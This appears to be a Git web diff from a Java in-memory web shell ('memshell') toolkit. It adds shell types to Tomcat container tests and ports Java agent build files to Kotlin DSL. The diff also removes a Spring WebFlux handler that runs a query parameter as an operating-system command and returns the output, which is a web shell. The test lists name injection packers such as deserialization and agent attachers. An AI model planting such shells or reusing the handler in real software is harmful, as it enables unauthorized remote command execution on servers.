List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
@@ -55,6 +55,7 @@ public class Tomcat6ContainerTest {
|
|||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
|
|||||||
+1
@@ -55,6 +55,7 @@ public class Tomcat7ContainerTest {
|
|||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
|||||||
+1
@@ -50,6 +50,7 @@ public class Tomcat8CommandEncryptorContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, ShellType.PROXY_VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
|
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-1
@@ -55,12 +55,14 @@ public class Tomcat8ContainerTest {
|
|||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
|
ShellType.SERVLET,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
|
List<Packers> testPackers = List.of(Packers.ClassLoaderJSP, Packers.DefineClassJSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
@@ -55,6 +55,7 @@ public class Tomcat9ContainerTest {
|
|||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
|||||||
@@ -1,10 +0,0 @@
|
|||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs += file('src')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
subprojects {
|
|
||||||
group = 'com.reajason.javaweb.memshell-agent'
|
|
||||||
version = ''
|
|
||||||
}
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id "com.gradleup.shadow" version "8.3.6"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = '1.0.0'
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'org.ow2.asm:asm-commons:9.8'
|
|
||||||
}
|
|
||||||
|
|
||||||
jar {
|
|
||||||
manifest {
|
|
||||||
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
|
||||||
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
|
||||||
attributes 'Can-Redefine-Classes': true
|
|
||||||
attributes 'Can-Retransform-Classes': true
|
|
||||||
attributes 'Can-Set-Native-Method-Prefix': true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jar.finalizedBy shadowJar
|
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("com.gradleup.shadow") version "8.3.6"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "com.reajason.javaweb"
|
||||||
|
version = "1.0.0"
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("org.ow2.asm:asm-commons:9.8")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.jar {
|
||||||
|
manifest {
|
||||||
|
attributes("Premain-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
|
||||||
|
attributes("Agent-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
|
||||||
|
attributes("Can-Redefine-Classes" to true)
|
||||||
|
attributes("Can-Retransform-Classes" to true)
|
||||||
|
attributes("Can-Set-Native-Method-Prefix" to true)
|
||||||
|
}
|
||||||
|
finalizedBy(tasks.shadowJar)
|
||||||
|
}
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id "com.gradleup.shadow" version "8.3.6"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = '1.0.0'
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'net.java.dev.jna:jna:5.17.0'
|
|
||||||
implementation 'net.java.dev.jna:jna-platform:5.17.0'
|
|
||||||
}
|
|
||||||
|
|
||||||
jar {
|
|
||||||
manifest {
|
|
||||||
attributes 'Premain-Class': 'Agent'
|
|
||||||
attributes 'Agent-Class': 'Agent'
|
|
||||||
attributes 'Main-Class': "Main"
|
|
||||||
attributes 'Can-Redefine-Classes': true
|
|
||||||
attributes 'Can-Retransform-Classes': true
|
|
||||||
attributes 'Can-Set-Native-Method-Prefix': true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jar.finalizedBy shadowJar
|
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("com.gradleup.shadow") version "8.3.6"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "com.reajason.javaweb"
|
||||||
|
version = "1.0.0"
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("net.java.dev.jna:jna:5.17.0")
|
||||||
|
implementation("net.java.dev.jna:jna-platform:5.17.0")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.jar {
|
||||||
|
manifest {
|
||||||
|
attributes("Premain-Class" to "Agent")
|
||||||
|
attributes("Agent-Class" to "Agent")
|
||||||
|
attributes("Main-Class" to "Main")
|
||||||
|
attributes("Can-Redefine-Classes" to true)
|
||||||
|
attributes("Can-Retransform-Classes" to true)
|
||||||
|
attributes("Can-Set-Native-Method-Prefix" to true)
|
||||||
|
}
|
||||||
|
finalizedBy(tasks.shadowJar)
|
||||||
|
}
|
||||||
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id "com.gradleup.shadow" version "8.3.6"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = '1.0.0'
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'net.bytebuddy:byte-buddy:1.17.5'
|
|
||||||
}
|
|
||||||
|
|
||||||
jar {
|
|
||||||
manifest {
|
|
||||||
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
|
||||||
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
|
||||||
attributes 'Can-Redefine-Classes': true
|
|
||||||
attributes 'Can-Retransform-Classes': true
|
|
||||||
attributes 'Can-Set-Native-Method-Prefix': true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jar.finalizedBy shadowJar
|
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("com.gradleup.shadow") version "8.3.6"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "com.reajason.javaweb"
|
||||||
|
version = "1.0.0"
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("net.bytebuddy:byte-buddy:1.17.5")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.jar {
|
||||||
|
manifest {
|
||||||
|
attributes("Premain-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
|
||||||
|
attributes("Agent-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
|
||||||
|
attributes("Can-Redefine-Classes" to true)
|
||||||
|
attributes("Can-Retransform-Classes" to true)
|
||||||
|
attributes("Can-Set-Native-Method-Prefix" to true)
|
||||||
|
}
|
||||||
|
|
||||||
|
finalizedBy(tasks.shadowJar)
|
||||||
|
}
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id "com.gradleup.shadow" version "8.3.6"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = '1.0.0'
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_6
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'org.javassist:javassist:3.30.2-GA'
|
|
||||||
}
|
|
||||||
|
|
||||||
jar {
|
|
||||||
manifest {
|
|
||||||
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
|
||||||
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
|
||||||
attributes 'Can-Redefine-Classes': true
|
|
||||||
attributes 'Can-Retransform-Classes': true
|
|
||||||
attributes 'Can-Set-Native-Method-Prefix': true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jar.finalizedBy shadowJar
|
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("com.gradleup.shadow") version "8.3.6"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "com.reajason.javaweb"
|
||||||
|
version = "1.0.0"
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("org.javassist:javassist:3.30.2-GA")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.jar {
|
||||||
|
manifest {
|
||||||
|
attributes("Premain-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
|
||||||
|
attributes("Agent-Class" to "com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer")
|
||||||
|
attributes("Can-Redefine-Classes" to true)
|
||||||
|
attributes("Can-Retransform-Classes" to true)
|
||||||
|
attributes("Can-Set-Native-Method-Prefix" to true)
|
||||||
|
}
|
||||||
|
finalizedBy(tasks.shadowJar)
|
||||||
|
}
|
||||||
@@ -1,30 +0,0 @@
|
|||||||
group = 'io.github.reajason'
|
|
||||||
description = "Normal Java MemShell for Java8"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":memshell")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
|
||||||
implementation 'org.springframework:spring-webflux'
|
|
||||||
implementation 'io.projectreactor.netty:reactor-netty-core'
|
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
-47
@@ -1,47 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.springwebflux.command;
|
|
||||||
|
|
||||||
import org.springframework.web.reactive.function.server.HandlerFunction;
|
|
||||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
|
||||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
|
||||||
import reactor.core.publisher.Mono;
|
|
||||||
|
|
||||||
import java.io.BufferedReader;
|
|
||||||
import java.io.InputStreamReader;
|
|
||||||
import java.util.Optional;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/25
|
|
||||||
*/
|
|
||||||
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
|
||||||
public static String paramName;
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Mono<ServerResponse> handle(ServerRequest request) {
|
|
||||||
Optional<String> cmdOptional = request.queryParam(paramName);
|
|
||||||
if (!cmdOptional.isPresent()) {
|
|
||||||
return Mono.empty();
|
|
||||||
}
|
|
||||||
System.out.println("hanlder function cmd " + cmdOptional.get());
|
|
||||||
try {
|
|
||||||
StringBuilder result = new StringBuilder();
|
|
||||||
try {
|
|
||||||
String cmd = cmdOptional.get();
|
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
|
||||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
|
||||||
String line;
|
|
||||||
while ((line = bufferedReader.readLine()) != null) {
|
|
||||||
result.append(line);
|
|
||||||
result.append(System.lineSeparator());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
|
|
||||||
} catch (Exception ex) {
|
|
||||||
ex.printStackTrace();
|
|
||||||
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user